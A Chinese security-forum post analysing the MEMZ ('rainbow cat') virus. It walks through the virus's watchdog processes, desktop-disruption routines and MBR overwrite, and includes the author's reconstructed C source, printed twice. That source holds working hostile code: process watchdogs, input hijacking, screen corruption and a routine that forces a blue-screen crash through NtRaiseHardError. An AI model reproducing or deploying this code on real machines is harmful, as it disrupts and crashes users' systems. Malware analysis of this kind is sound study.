首页
社区
课程
招聘
[原创MEMZ病毒详细分析
发表于: 2021-9-5 21:13 14803

[原创MEMZ病毒详细分析

2021-9-5 21:13
14803

第一次分析病毒,拿彩虹猫来练了练手,先自己分析过程,遇到不懂的在看其他师傅的分析,学到很多,本文章将一步步分析彩虹猫病毒的实现过程,并且还原部分代码。

环境:我采用的是吾爱破解的xp系统,里面有很多现成的工具,ida,xdbg都有,只不过ida版本有点低,但是对于本病毒的分析也没太大影响,百度网盘链接:https://pan.baidu.com/s/1YvO264J-atvRUZew8AlS9g 提取码:abcd。(如果有大佬知道怎么在xp系统中使用更高版本的ida,或者有更好的分析病毒的虚拟机,可以在评论区给点资源,谢谢啦)

分析步骤,一般的病毒分析步骤,如下

但是,对于彩虹猫病毒这个样本,里面的函数和逻辑都比较清晰,先在虚拟机里面跑几遍,看看行为,就直接开始分析了。

分析过程大致分为3部分,启动部分,检测部分,彩虹部分,MBR部分。

首先判断该进程的传参,类似于标准 C 运行时argv和argc值。从而走不同的流程。

然后看下面干了什么。

大概就是以不同参数开了6个MEMZ.exe进程。对于里面出现的函数可以到MSDN官方文档去查,举个例子,对于SetPriorityClass(),推荐在谷歌用必应上直接搜索该函数,然后进官方文档看函数参数意义,比如说,我要看0x80代表什么。

这一部分就是用来判断用户是否主动关机,是否主动关闭MEMZ.exe,从而来用函数进行相应措施。

最外层。


然后来看看创建的线程函数check干了什么。

可以看出check函数用来判断是否主动关闭MEMZ.exe。

shutdown()函数中的StartAddress无法直接反编译,先用一位师傅谁的狗哥处理一下函数,然后来看看shutdown()函数。

然后看看创建的20个线程,就是用SetWindowsHookExW()实现了20个随机位置的messagebox弹窗,要理解这一部分,去查阅官方文档的函数。

然后我们跳出来,回到最外层,来看看消息处理函数干了什么。

WM_QUERYENDSESSION,https://blog.csdn.net/jessicaiu/article/details/83107903所以这个就是用来防用户关机的。

到这里检测部分就分析完了。

这部分是参数为/main的MEZE.exe进程执行的。主要表现在电脑桌面的花里胡哨。


这里v9类似于下面的结构

下面来分析这10个函数,里面很多api就不多讲了。

func1(),实现乱打开程序和网站。

func2(),实现鼠标不受控制。

func3(),键盘消息

func4(),发出声音

func5(),桌面变色。

func6(),随机弹窗

func7(),图标显示

func8(),不知道效果,迭代子窗口。

func9(),桌面窗口复制显现。

fun10(),随机复制某块区域。

一些函数的执行次数数是有限的,一些是随机的,可以看线程函数的代码。

这部分也是在以/main为参数的MEMZ.exe实现的。该部分才是真正十分有危害的部分。

MRB介绍:http://c.biancheng.net/view/1015.html,可以很形象的从文章最后一张图片看出MRB就是用来启动操作系统的。而MEMZ.exe的MBR部分就是修改了MRB。

开始我是直接动调,dump出了这段数据,然后拖到ida去分析,但是根本看不了。后面又看了狗哥的方法,就去试了试,还真可以,下面来写写详细过程。

环境搭建,首先我们需要在虚拟机里面下载Bochs,然后双击bximage.exe,然后选择1,选择fd,然后选大小,然后写名称。

将得到的img和bochsrc-sample.txt都复制到新建的文件夹里面,路径桌面都行,但不要有中文。

打开bochsrc-sample.txt的该处修改ata0-master:

然后修改.txt为.bxrc,双击,然后选择continue,ok。

然后将bochsrc-sample..bxrc拖到ida分析,就可以动调了。动调还是一样的,只不过是16位汇编,分析起确实恼火,我也只能通过看反应,和看寄存器来分析个大概。

动调分析。

解密第二部分数据

打印字符串

播放视频

到这里该病毒就差不多分析完了。

几乎除了MRB部分都写了,但是防关机功能并未成功,如果知道问题的大佬可以评论一波。

myblog:The_Itach1

然后附件给一下病毒和dump出的MRB部分吧。

 
 
 
 
 
 
 
typedef struct {
    int time;
    int (*func)();
}functable;
 
functable a[10];
typedef struct {
    int time;
    int (*func)();
}functable;
 
functable a[10];
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
#include<windows.h>
#include<Mmsystem.h>
#include<stdio.h>
#include "tlhelp32.h"
#include "tchar.h"
#pragma comment(lib,"winmm.lib")
 
 
#define DEF_PROC_NAME    (L"test.exe")
int wide;
int high;
HCRYPTPROV hProv;
 
typedef struct {
    int time;
    int (*func)();
}functable;
 
int random1()
{
    HCRYPTPROV v1;
    BYTE pbBuffer[4] = { 0 };
 
    v1 = hProv;
    if (!hProv)
    {
        if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
            ExitProcess(1u);
        v1 = hProv;
    }
    CryptGenRandom(v1, 4u, pbBuffer);
    return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}
 
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    int mid_wide, mid_high;
    DWORD* cte;
 
 
    if (nCode == 3)
    {
        cte = *(DWORD**)lParam;
        if ((*(DWORD*)(*(DWORD*)lParam + 32) & 0x80400000) != 0)
        {
            mid_wide = random1() % (wide - cte[5]);
            mid_high = random1() % (high - cte[4]);
            cte[7] = mid_wide;
            cte[6] = mid_high;
        }
    }
    return CallNextHookEx(0, nCode, wParam, lParam);
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
    DWORD ThreadId;
    HHOOK hook;
 
 
    ThreadId = GetCurrentThreadId();
    hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
    MessageBoxA(0, "hacked by The_Itach1", "The_Itach1", 0x1010u);
    UnhookWindowsHookEx(hook);
    return 0;
 
}
 
void BLUE()
{
    //typedef void (* pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
    //typedef void (* pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
 
    //HMODULE hMod=NULL;
    //FARPROC RtlAdjustPrivilege;
    //FARPROC NtRaiseHardError;
    //unsigned char ErrKill;
    //long unsigned int HDErr;
 
    //hMod = LoadLibraryA("ntdll");
    //RtlAdjustPrivilege = GetProcAddress(hMod, "RtlAdjustPrivilege");
    //NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");
 
    //pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
    //pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)NtRaiseHardError;
 
    //if (RtlAdjustPrivilege && NtRaiseHardError)
    //{
    //    NtCall(19, TRUE, FALSE, &ErrKill);
    //    NtCall2(0xc0000233, 0, 0, 0, 6, &HDErr);
    //}
    HMODULE ntdll = LoadLibraryA("ntdll");
    FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
    FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
    unsigned char ErrKill;
    long unsigned int HDErr;
    ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
    ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
}
 
int shutdown()
{
    int i;
    wide = GetSystemMetrics(0);
    high = GetSystemMetrics(1);
    for (i = 0; i < 1; i++)
    {
        CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
        Sleep(500);
    }
    //BLUE();
    return 0;
}
 
DWORD WINAPI check(LPVOID lpParam)
{
    HANDLE hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;
    int num = 0;
    Sleep(0x3E8u);
    while (1)
    {
        int pro_num = 0;
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
 
        Process32First(hSnapShot, &pe);
        do
        {
            if (!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
            {
                pro_num++;
            }
        } while (Process32Next(hSnapShot, &pe));
 
        CloseHandle(hSnapShot);
        if (pro_num < num)
        {
            shutdown();
        }
        num = pro_num;
    }
 
    return 0;
 
}
 
 
 
int func1()
{
    LPCSTR website[3] = { "https://www.baidu.com/", "https://the_itach1.gitee.io/","https://cn.bing.com/" };
    ShellExecuteA(0, "open", website[random1() % 3], 0, 0, 10);
    return 1;
}
 
int func2()
{
    POINT Point;
    int x, y;
    GetCursorPos(&Point);
    x = random1() % wide;
    y = random1() % high;
    Point.x = x;
    Point.y = y;
    SetCursorPos(Point.x, Point.y);
    return 1;
}
 
int func3()
{
    INPUT input;
    input.type = 1;
    input.ki.wVk = random1() % 42 + 0x30;
    printf("%d", input.ki.wVk);
    SendInput(INPUT_KEYBOARD, &input, 28);
    return 1;
}
 
int func4()
{
    LPCSTR pszSound[3] = { "SystemHand" ,"SystemQuestion" ,"SystemExclamation" };
    int num = random1();
    PlaySoundA(pszSound[num % 3], 0, 1u);
    return 1;
}
 
int func5()
{
    HWND desktop;
    HDC winddc;
    RECT rect;
 
    desktop = GetDesktopWindow();
    winddc = GetWindowDC(desktop);
    GetWindowRect(desktop, &rect);
    printf("%d %d %d %d", rect.top, rect.bottom, rect.left, rect.right);
    BitBlt(winddc, 0, 0, rect.right - rect.left, rect.bottom - rect.top, winddc, 0, 0, NOTSRCCOPY);
    ReleaseDC(desktop, winddc);
    return 1;
}
 
DWORD WINAPI threadptr(LPVOID lpParam)
{
    DWORD ThreadId;
    HHOOK hook;
 
 
    ThreadId = GetCurrentThreadId();
    hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
    MessageBoxA(0, "Still using this computer?", "The_Itach1", 0x1010u);
    UnhookWindowsHookEx(hook);
    return 0;
 
}
 
int func6()
{
    CreateThread(0, 0x1000u, threadptr, 0, 0, 0);
    return 1;
}
 
int func7()
{
    int icon_w, icon_h;
    HWND desktop;
    HDC winddc;
    POINT Point;
    HICON hicon1, hicon2;
 
    icon_w = GetSystemMetrics(11) / 2;
    icon_h = GetSystemMetrics(12) / 2;
    printf("%d %d\n", icon_w, icon_h);
    desktop = GetDesktopWindow();
    winddc = GetWindowDC(desktop);
    GetCursorPos(&Point);
    hicon1 = LoadIconW(0, IDI_ERROR);
    DrawIcon(winddc, Point.x - icon_w, Point.y - icon_h, hicon1);
 
    hicon2 = LoadIconW(0, IDI_EXCLAMATION);
    DrawIcon(winddc, random1() % wide, random1() % high, hicon2);
    ReleaseDC(desktop, winddc);
    return 1;
}
 
int func9()
{
    HWND desktop;
    HDC winddc;
    RECT Rect;
 
    desktop = GetDesktopWindow();
    winddc = GetWindowDC(desktop);
    GetWindowRect(desktop, &Rect);
    StretchBlt(winddc, 50, 50, Rect.right - 100, Rect.bottom - 100, winddc, 0, 0, Rect.right, Rect.bottom, SRCCOPY);
    ReleaseDC(desktop, winddc);
    return 1;
}
 
int func10()
{
    HWND desktop;
    HDC winddc;
    RECT Rect;
    int x, y, m, n, p, q;
 
    desktop = GetDesktopWindow();
    winddc = GetWindowDC(desktop);
    GetWindowRect(desktop, &Rect);
 
    x = random1() % (Rect.right - 100);
    y = random1() % (Rect.bottom - 100);
    m = random1() % 600;
    n = random1() % 600;
    p = random1() % (Rect.right - 100);
    q = random1() % (Rect.bottom - 100);
 
    BitBlt(winddc, x, y, m, n, winddc, p, q, SRCCOPY);
    ReleaseDC(desktop, winddc);
    return 1;
}
 
DWORD WINAPI th(LPVOID lpParam)
{
    int i;
 
    for (i = 0; i <= 30; i++)
    {
        (*(*(int(__cdecl*)(void)) lpParam))();
        Sleep(1000);
    }
    return 0;
 
}
 
void fungame()
{
    functable a[9];
    int i;
 
    a[0].func = func1;
    a[1].func = func2;
    a[2].func = func3;
    a[3].func = func4;
    a[4].func = func5;
    a[5].func = func6;
    a[6].func = func7;
    a[7].func = func9;
    a[8].func = func10;
 
 
    DWORD* lpParam;
 
    for (i = 0; i < 9; i++)
    {
        lpParam =(DWORD*) a[i].func;
        Sleep(20000);
        CreateThread(0, 0, th, lpParam, 0, 0);
        Sleep(100);
    }
}
 
LRESULT CALLBACK WndProc(
    HWND hwnd,
    UINT uMsg,
    WPARAM wParam,
    LPARAM lParam
)
{
    if (uMsg != 16 && uMsg != 22)
        return DefWindowProcW(hwnd, uMsg, wParam, lParam);
    shutdown();
    return 0;
}
int main()
{
    int i;
    int process_num = 3;
    WCHAR* filename;
    LPWSTR cmdline;
    LPWSTR* Argv;
    int pNumArgs = 0;
    WNDCLASSEXA wndclass;
    MSG Msg;
    HWND hWnd;
    SHELLEXECUTEINFOW pExecInfo = { 0 };
 
    wide = GetSystemMetrics(SM_CXFULLSCREEN);
    high = GetSystemMetrics(SM_CYFULLSCREEN);
    cmdline = GetCommandLineW();
    Argv = CommandLineToArgvW(cmdline, &pNumArgs);
 
 
    if (pNumArgs > 1)
    {
        if (!lstrcmpW(Argv[1], L"/watch"))
        {
            CreateThread(0, 0, check, 0, 0, 0);
            wndclass.cbSize = 48;
            wndclass.lpszClassName = "The_Itach1";
            wndclass.lpfnWndProc = WndProc;
            wndclass.style = 0;
            wndclass.cbClsExtra = 0;
            wndclass.hInstance = 0;
            wndclass.hIcon = 0;
            wndclass.hCursor = 0;
            wndclass.hbrBackground = 0;
            wndclass.hIconSm = 0;
            RegisterClassExA(&wndclass);
            hWnd = CreateWindowExA(0, "The_Itach1", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);
            while (GetMessageW(&Msg, 0, 0, 0) != 0)
            {
                TranslateMessage(&Msg);
                DispatchMessageW(&Msg);
            }
        }
 
        fungame();
        while (1)
            Sleep(0x2710u);
    }
 
 
    if (MessageBoxA(
        0,
        "Are you ready to play the new game?\r\n"
        "Please turn off all other processes, and then click OK.\r\n"
        , "The_Itach1"
        , 0x34u) == 6)
    {
        filename = (WCHAR*)LocalAlloc(0x40u, 0x4000u);
        GetModuleFileNameW(0, filename, 0x2000u);
 
        for (i = 0; i < process_num; i++)
        {
            ShellExecuteW(0, 0, filename, L"/watch", 0, 10);
        }
 
 
        pExecInfo.cbSize = 60;
        pExecInfo.lpFile = filename;
        pExecInfo.lpParameters = L"/main";
        pExecInfo.fMask = 64;
        pExecInfo.hwnd = 0;
        pExecInfo.lpVerb = 0;
        pExecInfo.lpDirectory = 0;
        pExecInfo.hInstApp = 0;
        pExecInfo.nShow = 10;
        ShellExecuteExW(&pExecInfo);
        SetPriorityClass(pExecInfo.hProcess, HIGH_PRIORITY_CLASS);
    }
    ExitProcess(0);
}
#include<windows.h>
#include<Mmsystem.h>
#include<stdio.h>
#include "tlhelp32.h"
#include "tchar.h"
#pragma comment(lib,"winmm.lib")
 
 
#define DEF_PROC_NAME    (L"test.exe")
int wide;
int high;
HCRYPTPROV hProv;
 
typedef struct {
    int time;
    int (*func)();
}functable;
 
int random1()
{
    HCRYPTPROV v1;
    BYTE pbBuffer[4] = { 0 };
 
    v1 = hProv;
    if (!hProv)
    {
        if (!CryptAcquireContextW(&hProv, 0, 0, 1u, 0xF0000040))
            ExitProcess(1u);
        v1 = hProv;
    }
    CryptGenRandom(v1, 4u, pbBuffer);
    return *(unsigned int*)pbBuffer & 0x7FFFFFFF;
}
 
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    int mid_wide, mid_high;
    DWORD* cte;
 
 
    if (nCode == 3)
    {
        cte = *(DWORD**)lParam;
        if ((*(DWORD*)(*(DWORD*)lParam + 32) & 0x80400000) != 0)
        {
            mid_wide = random1() % (wide - cte[5]);
            mid_high = random1() % (high - cte[4]);
            cte[7] = mid_wide;
            cte[6] = mid_high;
        }
    }
    return CallNextHookEx(0, nCode, wParam, lParam);
}
DWORD WINAPI StartAddress(LPVOID lpParam)
{
    DWORD ThreadId;
    HHOOK hook;
 
 
    ThreadId = GetCurrentThreadId();
    hook = SetWindowsHookExW(5, CBTProc, 0, ThreadId);
    MessageBoxA(0, "hacked by The_Itach1", "The_Itach1", 0x1010u);
    UnhookWindowsHookEx(hook);
    return 0;
 
}
 
void BLUE()
{
    //typedef void (* pdef_RtlAdjustPrivilege)(DWORD, DWORD, BOOLEAN, LPBYTE);
    //typedef void (* pdef_NtRaiseHardError)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD);
 
    //HMODULE hMod=NULL;
    //FARPROC RtlAdjustPrivilege;
    //FARPROC NtRaiseHardError;
    //unsigned char ErrKill;
    //long unsigned int HDErr;
 
    //hMod = LoadLibraryA("ntdll");
    //RtlAdjustPrivilege = GetProcAddress(hMod, "RtlAdjustPrivilege");
    //NtRaiseHardError = GetProcAddress(hMod, "NtRaiseHardError");
 
    //pdef_RtlAdjustPrivilege NtCall = (pdef_RtlAdjustPrivilege)RtlAdjustPrivilege;
    //pdef_NtRaiseHardError NtCall2 = (pdef_NtRaiseHardError)NtRaiseHardError;
 
    //if (RtlAdjustPrivilege && NtRaiseHardError)
    //{
    //    NtCall(19, TRUE, FALSE, &ErrKill);
    //    NtCall2(0xc0000233, 0, 0, 0, 6, &HDErr);
    //}
    HMODULE ntdll = LoadLibraryA("ntdll");
    FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege");
    FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError");
    unsigned char ErrKill;
    long unsigned int HDErr;
    ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill);
    ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr);
}
 
int shutdown()
{
    int i;
    wide = GetSystemMetrics(0);
    high = GetSystemMetrics(1);
    for (i = 0; i < 1; i++)
    {
        CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);
        Sleep(500);
    }
    //BLUE();
    return 0;
}
 
DWORD WINAPI check(LPVOID lpParam)
{
    HANDLE hSnapShot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe;
    int num = 0;
    Sleep(0x3E8u);
    while (1)
    {
        int pro_num = 0;
        pe.dwSize = sizeof(PROCESSENTRY32);
        hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
 
        Process32First(hSnapShot, &pe);
        do
        {
            if (!_tcsicmp(DEF_PROC_NAME, (LPCTSTR)pe.szExeFile))
            {
                pro_num++;
            }
        } while (Process32Next(hSnapShot, &pe));
 
        CloseHandle(hSnapShot);
        if (pro_num < num)
        {
            shutdown();
        }
        num = pro_num;
    }
 
    return 0;
 
}
 
 
 
int func1()
{
    LPCSTR website[3] = { "https://www.baidu.com/", "https://the_itach1.gitee.io/","https://cn.bing.com/" };
    ShellExecuteA(0, "open", website[random1() % 3], 0, 0, 10);
    return 1;
}
 
int func2()
{
    POINT Point;
    int x, y;
    GetCursorPos(&Point);
    x = random1() % wide;
    y = random1() % high;
    Point.x = x;

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 4
支持
分享
最新回复 (2)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
太强了,求带:D
2021-9-8 16:30
0
雪    币: 300
活跃值: (2532)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark
2021-9-8 16:56
0
游客
登录 | 注册 方可回帖
返回
//